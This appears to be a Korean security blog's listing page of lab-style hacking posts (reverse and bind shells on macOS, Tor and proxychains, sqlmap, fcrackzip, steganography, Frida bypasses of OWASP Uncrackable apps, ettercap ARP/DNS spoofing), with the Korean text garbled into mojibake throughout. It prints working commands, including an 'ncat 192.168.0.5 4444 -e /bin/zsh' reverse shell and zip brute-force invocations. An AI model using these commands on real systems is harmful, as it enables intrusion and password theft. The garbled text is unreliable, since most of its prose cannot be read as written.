728x90 ๋ฐ์ํ ๐์ ๋ณด๋ณด์108 ๋คํธ์ํฌ ํดํน - ๋งฅ(MacOS) ๋ฆฌ๋ฒ์ค ์(Reverse Shell), ๋ฐ์ธ๋ ์(Bind Shell) ์ฐ๊ฒฐ ์ค์ต ํ๊ฒฝ ๊ณต๊ฒฉ์ ํ๊ฒฝ: Ubuntu IP: 192.168.0.5 ๊ณต๊ฒฉ ๋์ MacOS(10.13.6) IP: 192.168.0.6 * ๋งฅ์์๋ nc ๋ช ๋ น์ด๊ฐ ๋์ง ์๋ ๋ฌธ์ ๋ก ๋์ ncat ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์๋ค. ๋ฆฌ๋ฒ์ค ์ ๊ณต๊ฒฉ์๊ฐ ์ง์ ์๋ฒ๋ฅผ ์ฌ๋ ๋ฐฉ์์ผ๋ก ๊ณต๊ฒฉ ๋์์์ ๋งํ์๋ ๋ฐฉํ๋ฒฝ(์์๋ฐ์ธ๋)์ ์ฐํํ ์ ์๋ค. ๊ณต๊ฒฉ์(Ubuntu) nc -lvp 4444 ๊ณต๊ฒฉ ๋์(MacOS) ncat 192.168.0.5 4444 -e /bin/zsh ๋ฐ์ธ๋ ์ ๊ณต๊ฒฉ ๋์์๊ฐ ์ง์ ์๋ฒ๋ฅผ ์ฌ๋ ํํ์ด๋ค. ๊ณต๊ฒฉ ๋์(MacOS) ncat -lvp 4444 -e /bin/zsh ๊ณต๊ฒฉ์(Ubuntu) nc 192.168.0.6 4444 ์ถ์ฒ: https://hobbylists.tistory.com/entry/kal.. 2022. 8. 5. ๋คํธ์ํฌ ํดํน - tor ์๋ ์๋ฆฌ ๋ค์์ Tor ํด๋ผ์ด์ธํธ A (์๋ณธ)์์ Tor ์๋ฒ B, C๋ฅผ ์ฐจ๋ก๋ก ๊ฑฐ์ณ ๋ชฉ์ ์ง D (์ผ๋ฐ Web ์๋ฒ ๋ฑ)์ ์ด๋ฅด๋ ๊ฒฝ์ฐ์ ์ค๋ช ์ด๋ค. 1. A๋ ๋ฏธ๋ฆฌ ์ป๊ณ ์๋ ๋๋ ํ ๋ฆฌ ๋ชฉ๋ก์์ ์์๋ก B์ C๋ฅผ ์ ํํ๋ค. 2. A๋ B์ ๋ํด ๊ฐ์ ํ์ ์ฐ๊ฒฐ ์์ฒญ, AB ์ฌ์ด์ ์ํธํ ํต์ ์ ์ํ ์ธ์ ํค๋ฅผ ๊ตํํ๊ธฐ ์ํ ์ ๋ณด์ ํจ๊ป ์ ๋ฌํ๋ค. 3. B๋ A์ ๊ฐ์ ํ์ ์ฐ๊ฒฐ ์๋ฝ๊ณผ ํจ๊ป ์ธ์ ํค ๊ตํ์ ์ํ ์ ๋ณด๋ฅผ ์ ์กํ๋ค. 4. AB ์ฌ์ด์ ์ ๋จ๊น์ง ์ป์ ์ธ์ ํค๋ ์ํธํ ํต์ ๋ก ์ป์ ์ ์๋ค. ์ดํ AB ๊ฐ์ ํต์ ์ด ์ํธํ ํต์ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ์ฌ ํํด์ง๋ค. 5. A๋ B์ ๋ํด "B๊ฐ C์ ๋ํ ๊ฐ์ ํ์ ์ฐ๊ฒฐ์ ์๊ตฌ๋ฅผ ์ ์ถํ๋ ๊ฒ"์ ์๊ตฌํ๋ ์ ์กํ๋ค. 6. B๋ C์ ๋ํด ๊ฐ์ ํ์ ์ฐ๊ฒฐ ์์ฒญ, BC ์ฌ์ด.. 2022. 8. 1. ๋ฆฌ๋ ์ค - ssh ์ฐ๊ฒฐ์ tor socks5 ๊ฒฝ์ ํ๊ธฐ ํ์ ํจํค์ง ์ค์น apt install tor apt install connect # nc(netcat)์ด ์ค์น๋์ด ์๋ค๋ฉด ๋ฌด์ ์ค์น ํ์๋ tor๋ฅผ ์คํ์์ผ์ค๋ค. ์ฌ์ฉ ๋ช ๋ น์ด connect ProxyCommand ์ฌ์ฉ ๋ฐฉ๋ฒ ssh -o "ProxyCommand connect -5 -S localhost:9050 %h %p" user@123.123.123.123 nc ProxyCommand ์ฌ์ฉ ๋ฐฉ๋ฒ ssh -o ProxyCommand="nc -x localhost:9050 %h %p" user@123.123.123.123 ํ๋ก์ ์ฑ๊ณต ํ์ธ ๋ช ๋ น์ด Windows netstat -n | findstr 22 Linux/macOS who am i ์์ ๋ช ๋ น์ด ์คํ์์ ๋ด ์ ์ ์์ดํผ๊ฐ tor IP ์ฃผ์๋ก ๋ฌ๋ค.. 2022. 8. 1. ์น ํดํน - sqlmap sqlmap์ ํ์ด์ฌ์ผ๋ก ์์ฑ๋ ์คํ ์์ค SQL Injection ์๋ํ ๋๊ตฌ์ด๋ค. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access ๋ฑ ๋ค์ํ DBMS๋ค์ ์ง์ํ๊ณ boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band ๊ณต๊ฒฉ ๋ฐฉ์๋ค์ ์ง์ํ๋ค๊ณ ํ๋ค. ์ด๋ ๊ฒ๋ ๋ค์ํ ์ต์ ์ ๋ค ์๋์ ์ผ๋ก ํด์ฃผ๊ธฐ ๋๋ฌธ์ ์ฐ์ง ์์ ์ด์ ๊ฐ ์๋ค. ๋ ์์ธํ ๋ด์ฉ์ ์ง์ ๊ณต์ ์ฌ์ดํธ์์ ํ์ธ ๊ฐ๋ฅ https://sqlmap.org/ sqlmap: automatic SQL injection and database takeover .. 2022. 7. 24. ์์คํ ํดํน - zip ์ํธํ ํด์ (Fcrackzip) ์ค์น apt install fcrackzip ๋ฌด์ฐจ๋ณ๋์ ๊ณต๊ฒฉ๊ณผ ์ฌ์ ๊ณต๊ฒฉ์ผ๋ก zip์ ์ํธํ ํด์ฃผ๋ ๋๊ตฌ์ ๋๋ค. fcrackzip -b -c a1 -l 1-12 -u al.zip -b: ๋ธ๋ฃจํธํฌ์ค ์ต์ -c: ๋ฌธ์ ํ์ (a๋ ๋ฌธ์ ์กฐํฉ, 1์ ์ซ์ ์กฐํฉ) -l: ๋ฌธ์ ํฌ๊ธฐ -u: zip ํ์ผ ๊ฒฝ๋ก fcrackzip -D -p dic.txt al.zip -D: ์ฌ์ ๊ณต๊ฒฉ ์ต์ -p: ์ฌ์ ํ์ผ ๊ฒฝ๋ก ๊ทธ๋ฐ์ ๋ค์ํ ์ต์ ๋ค์ -h๋ --help๋ก ํ์ธํ์๋ฉด ๋ฉ๋๋ค. ์ฐธ๊ณ : https://tggg23.tistory.com/35 [Two Greedy] Frackzip ์ผ๋ก ์ํธํ ์์ถํ๊ธฐ ๊ฐ์์ผ๋ก ๊ตฌ์ถ๋ ํ๊ฒฝ ์ธ์ ์๋ํ๋ ๊ฒ์ ์์ฐํ ๋ถ๋ฒ์ ๋๋ค. ๋ชจ๋ ์ฑ ์์ ๊ฐ๊ฐ์ธ์๊ฒ ์์ผ๋ ์กฐ์ฌํด์ฃผ์ธ์ ์๋ ํ์ธ์ Retain.. 2022. 7. 24. ์ํธ - ์คํ ๊ฐ๋ ธ๊ทธ๋ํผ ๋ง๋ค๊ธฐ ์คํ ๊ฐ๋ ธ๊ทธ๋ํผ Stegano(๊ฐ์ถฐ์ง) + Graphy(๊ธ) = Steganography ์ฆ, ๋ด์ฉ์ ์จ๊ฒจ๋ฒ๋ฆฌ๋ ๊ธฐ์ ์ด๋ฅผ ์ด์ฉํด์ png, mp3, zip ๋ฑ ๋ค์ํ ํ์ผ์ ์จ๊ธธ ์ ์๋ค. ์ํธํ ๋ฐฉ๋ฒ(Windows): copy /b image.jpg+secret.zip result.jpg ์ํธํ ๋ฐฉ๋ฒ(Linux) cat file1 file2 > output ๋ณตํธํ ๋ฐฉ๋ฒ: ์ํธํ๋ ํ์ผ์ ํ์ฅ์๋ฅผ ๊ธฐ์กด์ ์จ๊ฒจ๋ ํ์ผ์ ํ์ฅ์๋ก ๋ณ๊ฒฝ ex) result.jpg -> result.zip ์ถ์ฒ: https://arca.live/b/encryption/32069015?p=2 ์คํ ๊ฐ๋ ธ๊ทธ๋ํผ ๋ง๋๋ ๋ฐฉ๋ฒ - ์ํธํ ์ฐ๊ตฌ ์ฑ๋ ์๋ฆฌ๋ฅผ ์ค๋ช ํ๋ ๊ธ์ด ์๋๊ธฐ ๋๋ฌธ์ ์ฌํ์ ์ธ ๋ด์ฉ์ ๋ค๋ฃจ์ง ์๊ณ ๊ฐ๋จํ๊ฒ ํ๋ ๋ฐฉ๋ฒ์ ์์.. 2022. 7. 21. ํ๋ฆฌ๋ค - Uncrackable2 ๋น๋ฐ๋ฒํธ ํด์ ํ๊ธฐ UnCrackable-Level2๋ฅผ jadx๋ก ์ด์ด๋ณด๋ ์๋ฒ์๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์ด๋ค ๋ฉ์๋์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ํ ์คํธ๋ฅผ ๊ฑด๋ด์ฃผ์ด true, false๋ฅผ ๋ฐํํ๊ณ ์๋ค. ํด๋น ํจ์๋ฅผ ์ซ์๊ฐ๋ฉด ์ bar๋ผ๋ ํจ์์๋ค๊ฐ ๋ ๊ฐ์ ๊ฑด๋ด์ ๋ฆฌํด ๊ฐ์ ๋ฐํํ๊ณ ์๋๋ฐ, ๋ณด๋ค์ํผ bar ํจ์๋ native๋ก ์ ์ธ์ด ๋์ด์์ผ๋ฉฐ, ํจ์์ ๋ชธํต์ ๋ณด์ฌ์ง์ง๊ฐ ์๋๋ค. ์๋ฐ native ํค์๋ ์ฐธ๊ณ : https://fors.tistory.com/80 ์๋ฐ์ native ํค์๋๋ ์๋ฐ๋ก ์ฐ์ฌ์ง ์ธ์ด๊ฐ ์๋ ์ฃผ๋ก C์ธ์ด, C++ ๊ฐ์ ์ธ๋ถ์ ์คํ ๊ฐ๋ฅํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ถ๋ฌ์์ ์ฌ์ฉํ ์ ์๋ ๊ธฐ๋ฅ์ ํด์ค๋ค. ์ด ์ธ๋ถ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์์๋ ค์ง .so๋ .dll ๊ฐ์ ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ ์๋ฏธํจ ์ฆ bar ํจ์์ ๊ฒ์ฆ ๊ธฐ๋ฅ์ ํ์ธํ๊ณ ์ถ์ผ.. 2022. 6. 24. ํ๋ฆฌ๋ค - Uncrackable1 ๋น๋ฐ๋ฒํธ ํด์ ํ๊ธฐ ์ด๋ฒ์๋ ๋ฃจํธ ๊ฐ์ง ์ฐํ๋ฅผ ์ด์ด์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐํ๋ฅผ ํด๋ณด๊ฒ ๋ค. ์ด๋ฒ์๋ ๊ตณ์ด ๋ฃจํ ์ด ํ์์์ผ๋๊น ๋ น์ค ์ค์ ์์ ROOT๋ฅผ ๊บผ์ฃผ์๋ค. ์ฑ ๋ถ์ ๋ณด๋ ๊ฒ์ฒ๋ผ EditText์ ์๋ฌด ๊ธ์๋ฅผ ๋ฃ๊ณ ๋ฒํผ์ ๋๋ฅด๋ฉด ๋ง๋ ์ ๋ต์ด ์๋๋ผ๊ณ ๋ฌ๋ค. ์ด๋ฒ ๋ชฉํ๋ ์ด๋ฅผ ์ฐํํ์ฌ ์ฑ๊ณต์ด ๋จ๊ฒํ๋ ๊ฒ ์ฑ ๋์ปดํ์ผ ํ๊ธฐ ์ ๋์ ๊ณผ์ ์์ ์ด๋ค ๋ชจ๋์ด ์ค๊ฐ๋์ง ๋ ๊ทธ ๋ชจ๋์์๋ ์ด๋ค ์์๋ค์ด ์๋์ง ํ์ธ์ ์ํด์ ์ฑ ๋์ปดํ์ผ๋ฌ์ธ jadx๋ฅผ ์ค์นํด์ค๋ค. https://github.com/skylot/jadx/releases Releases · skylot/jadx Dex to Java decompiler. Contribute to skylot/jadx development by creating an account on GitHub... 2022. 6. 24. ํ๋ฆฌ๋ค - Uncrackable1 ROOTING ๊ฐ์ง ์ฐํํ๊ธฐ ์ฑ ์ค์น https://github.com/OWASP/owasp-mstg/tree/master/Crackmes/Android/Level_01 GitHub - OWASP/owasp-mstg: The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing an The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing and reverse engineering. It describes the technical processes for verifying the controls li.. 2022. 6. 23. ํ๋ฆฌ๋ค - NOX ํ๊ฒฝ ์ค์น [์๋์ฐ ํ๊ฒฝ์์ frida ์ค์น] pip install frida pip install frida-tools [frida-server ์ค์น] https://github.com/frida/frida/releases Releases · frida/frida Clone this repo to build Frida. Contribute to frida/frida development by creating an account on GitHub. github.com ์๋์ฐ์ ํ์ด์ฌ๊ณผ ํต์ ํ๊ธฐ ์ํด์๋ ์๋๋ก์ด๋์์ frida-server๊ฐ ์ค์น๊ฐ ๋์ด์์ด์ผ ํ๋๋ฐ ์์ ๊นํ๋ธ๋ก ๋ค์ด๊ฐ์ ์์ ์ NOX ํ๊ฒฝ์ ๋ง๋ ๋ฒ์ ์ผ๋ก frida-server๋ฅผ ์ค์นํด์ผ ํฉ๋๋ค. [ํ์ฌ NOX CPU ํ๊ฒฝ ํ์ธ ๋ช ๋ น์ด] nox_.. 2022. 6. 23. ๋คํธ์ํฌ ํดํน - ettercap์ arp ์คํธํ์ ์ด์ฉํด dns ์คํธํํ๊ธฐ ์ฐ์ ettercap ์ผ ๋ค. ๊ทธ๋ฆฌ๊ณ eth0์ ์ ๊ทผ ์ธํฐํ์ด์ค ์๋จ์ ๋ณด๋ฉด ๋๋ณด๊ธฐ ๋ชจ์์ด ์๋๋ฐ ์ด๋ฅผ ํด๋ฆญํด ์ฃผ๋ณ์ ์กด์ฌํ๋ ํธ์คํธ๋ค์ ์ก๋๋ค. ๊ทธ๋ฆฌ๊ณ ํ์ธ๋ ์์ดํผ ์ด๋๋ ์ค๋ค ์ค ๋ผ์ฐํฐ(๊ณต์ ๊ธฐ)๋ก ์ถ์ ๋๋ ๊ฒ์ Target 1์ผ๋ก ์ง์ ํ๊ณ , ์ค๋ํ(๋์ฒญ)์ ๋นํ๊ณ ์ํ๋ ํ๊ฒ์ Target 2๋ก ์ง์ ์ด์ ๋ค์ ์ธํฐํ์ด์ค์ ์๋จ ๋งจ ์ค๋ฅธ์ชฝ์ ์ง๊ตฌ๋ณธ ๋ชจ์์ด ์๋๋ฐ ์ด๋ฅผ ํด๋ฆญํด์ ARP poising...์ ๋๋ฅธ ๋ค์ ์ด๋ฐ ์ฒดํฌ ๋ฐ์ค ์ฐฝ์ด ๋จ๊ฒ๋๋ฉด ์ฌ์ง๊ณผ ๊ฐ์ด "Sniff remote connections."๋ฅผ ์ฒดํฌํ๊ณ OK๋ฅผ ๋๋ฌ ARP ์คํธํ์ ์์ํ๋ค. ์ด์ ํผํด์์ PC๋ฅผ ์กฐ์ํ๋ค. cmd์ ๋ค์ด๊ฐ์ "arp -a"๋ฅผ ์คํ์์ผ์ฃผ๊ฒ ๋๋ฉด (ARP ํ ์ด๋ธ ํ์ธ ๋ช ๋ น์ด) ๊ณต์ ๊ธฐ์ ๋ฌผ๋ฆฌ์ ์ฃผ์๊ฐ ์๋์ ๋ค๋ฅธ.. 2021. 12. 22. ๋คํธ์ํฌ ํดํน - Tor ProxyChains ๋ก์ปฌ ํ๋ก์ ์ค์ https://medium.com/cyberxerx/how-to-setup-proxychains-in-kali-linux-by-terminal-618e2039b663 How to Setup PROXYCHAINS in Kali-Linux by Terminal proxychains is open source software for Linux systems and comes pre-installed with Kali Linux, the tool redirects TCP connections through… medium.com [์ค์น ๋ฐ ์ค์ ] # tor ์ค์น sudo apt install tor # proxychains ์ค์ ํ์ผ ์์ ํ๊ธฐ sudo vim /etc/proxychains.conf or sudo .. 2021. 12. 15. ์ด์ 1 ยทยทยท 5 6 7 8 9 ๋ค์ 728x90 ๋ฐ์ํ